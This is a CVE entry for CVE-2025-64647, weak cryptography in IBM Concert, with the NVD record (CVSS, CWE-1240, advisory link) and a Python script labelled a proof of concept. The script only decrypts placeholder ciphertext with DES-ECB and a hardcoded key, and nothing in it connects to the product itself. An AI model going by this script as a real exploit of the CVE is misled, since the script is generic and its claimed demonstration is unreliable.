CVE-2025-64647

import binascii from Crypto.Cipher import DES from Crypto.Util.Padding import unpad # Proof of Concept for CVE-2025-64647: Weak Cryptography # Demonstrates decryption using a weak algorithm (DES) and short key. def decrypt_weak_cipher(encrypted_hex, key): try: cipher = DES.new(key, DES.MODE_ECB) encrypted_data = binascii.unhexlify(encrypted_hex) decrypted_data = unpad(cipher.decrypt(encrypted_data), DES.block_size) return decrypted_data.decode('utf-8') except Exception as e: return f"Decryption failed: {e}" # Example usage simulating exploitation if __name__ == "__main__": # Simulated intercepted ciphertext and weak key target_ciphertext = "encrypted_data_here" weak_key = b"WeakKey1" plaintext = decrypt_weak_cipher(target_ciphertext, weak_key) print(f"[+] Decrypted sensitive data: {plaintext}")

{"cve": {"id": "CVE-2025-64647", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:25.823", "lastModified": "2026-03-26T17:49:07.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.2.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information"}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.2.0 utiliza algoritmos criptográficos más débiles de lo esperado que podrían permitir a un atacante descifrar información altamente sensible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1240"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "2.2.0", "matchCriteriaId": "2E37B307-BAA4-487B-958B-7354E39D7B2A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}